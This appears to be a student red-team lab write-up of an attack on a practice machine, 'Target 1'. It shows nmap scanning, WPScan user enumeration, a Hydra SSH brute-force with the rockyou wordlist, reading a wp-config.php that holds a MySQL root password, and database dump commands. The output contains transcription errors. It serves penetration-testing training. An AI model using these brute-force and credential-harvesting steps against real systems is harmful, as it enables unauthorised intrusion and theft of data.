Red Team: Summary of Operations

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Exposed Services

Nmap scan results for each machine reveal the below services and OS details:

```bash

\$ nmap 192.168.1.110

```
root@Kali:~# nmap -sV 192.168.1.110
Starting Nmap 7.80 ( https://nmap.org ) at 2022-07-30 07:38 PDT
Nmap scan report for 192.168.1.110
Host is up (0.0020s latency).
Not shown: 995 closed ports
PORT
       STATE SERVICE
                         VERSION
22/tcp open ssh
                         OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp open http
                         Apache httpd 2.4.10 ((Debian))
                         2-4 (RPC #100000)
111/tcp open rpcbind
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
MAC Address: 00:15:5D:00:04:10 (Microsoft)
Service Info: Host: TARGET1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

. . .

This scan identifies the services below as potential points of entry:

- Target 1
 - Port 22 SSH
 - Port 80 HTTP
 - Port 111 rcpbid
 - Port 139 netbios-ssn
 - Port 445 netbios-ssn

The following vulnerabilities were identified on each target:

- Target 1
 - User enumeration within the WordPress site
 - Simple usernames and passwords

- Unsalted hashes
- Secure files are not hidden
- Misconfigured User Priv

Exploitation

The Red Team was able to penetrate `Target 1` and retrieve the following confidential data:

- Target 1
 - b9bbcb33e11b80be759c4e844862482d
 - **Exploit Used**
 - WPScan to Enumerate Users
 - wpscan --url http://192.168.1.110/wordpress -eu

- Used Hydra to crack weak password
- hydra -a michael -P /usr/share/wordlists/rockyou.txt -vV 192.168.1.110

-t 4 ssh

```
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-07-30 08:40:22
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking ssh://192.168.1.110:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://michael@192.168.1.110:22
[INFO] Successful, password authentication is supported by ssh://michael@192.168.1.110:22
[ATTEMPT] target 192.168.1.110 - login "michael" - pass "123456" - 1 of 14344399 [child 0] (0/0)
[ATTEMPT] target 192.168.1.110 - login "michael" - pass "123456" - 2 of 14344399 [child 1] (0/0)
[ATTEMPT] target 192.168.1.110 - login "michael" - pass "123456789" - 3 of 14344399 [child 1] (0/0)
[ATTEMPT] target 192.168.1.110 - login "michael" - pass "password" - 4 of 14344399 [child 3] (0/0)
[ATTEMPT] target 192.168.1.110 - login "michael" - pass "sloveyou" - 5 of 14344399 [child 3] (0/0)
[ATTEMPT] target 192.168.1.110 - login "michael" - pass "princess" - 6 of 14344399 [child 1] (0/0)
[ATTEMPT] target 192.168.1.110 - login "michael" - pass "princess" - 6 of 14344399 [child 1] (0/0)
[ATTEMPT] target 192.168.1.110 - login "michael" - pass "princess" - 6 of 14344399 [child 1] (0/0)
[ATTEMPT] target 192.168.1.110 - login "michael" - pass "rockyou" - 8 of 14344399 [child 1] (0/0)
[ATTEMPT] target 192.168.1.110 - login "michael" - pass "abcl23" - 10 of 14344399 [child 3] (0/0)
[ATTEMPT] target 192.168.1.110 - login "michael" - pass "abcl23" - 10 of 14344399 [child 3] (0/0)
[ATTEMPT] target 192.168.1.110 - login "michael" - pass "adaiel" - 10 of 14344399 [child 3] (0/0)
[ATTEMPT] target 192.168.1.110 - login "michael" - pass "adaiel" - 10 of 14344399 [child 3] (0/0)
[ATTEMPT] target 192.168.1.110 - login "michael" - pass "adaiel" - 10 of 14344399 [child 3] (0/0)
[ATTEMPT] target 192.168.1.110 - login "michael" - pass "nonkey" - 10 of 14344399 [child 3] (0/0)
[ATTEMPT] target 192.168.1.110 - login "michael" - pass "nonkey" - 10 of 14344399 [child 3] (0/0
```

```
-cd /var/www/html
-1s
-cat flag2.txt
```

- fc3fd58dcdad9ab23faca6e9a36e581c
 - **Exploit Used**
 - Able to gain access with same exploit from first flag
 - grep -RE flag html

```
html/vendor/examples/scripts/XRegExp.js: // Accepts a pattern and flags; returns an extended `RegExp` object. If the pattern and flag kntml/vendor/examples/scripts/XRegExp.js: // Accepts a pattern and flags; returns an extended `RegExp` object. If the pattern and flag xntml/vendor/examples/scripts/XRegExp.js: // ** var key = pattern ** "' + (flags || ""); return XRegExp.cache [key] || (XRegExp.cache[key] = XRegExp(pattern, flags)); // Accepts a `RegExp` instance; returns a copy with the `/g` flag set. The copy has a fresh html/vendor/examples/scripts/XRegExp.js: // syntax and flag should be run after XRegExp and any plugins are loaded html/vendor/examples/scripts/XRegExp.js: // capture. Also allows adding new flags in the process of copying the regex html/vendor/examples/scripts/XRegExp.js: // Adgment XRegExp's regular expression syntax and flags. Note that when adding tokens, the html/vendor/composer.lock: "stability-flags": [], flag1{b9bbcb33e11b80be759c4e844862482d} \rightarrow michael@target1:/var/www$
```

- afc01ab56b50591e7dccf93122770cd23 & 715dea6c055b9fe3337544932F2941ce
 - **Exploit Used**
 - Able to gain access from same exploit for 1 & 2
 - -navigate to file containing mysql login information
 - -cat /var/www/html/wordpress/wp-config.php

```
^{\prime\prime} ** MySQL settings - You can get this info from your web host ** ^{\prime\prime}
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
.define('DB_PASSWORD', 'R@v3nSecurity');
/** MySQL hostname */
define('DB_HOST', 'localhost');
/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8mb4');
/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');
```

```
-mysql -u root -p
-show databases;
-use wordpress;
-show tables;
-select * from wp_posts
```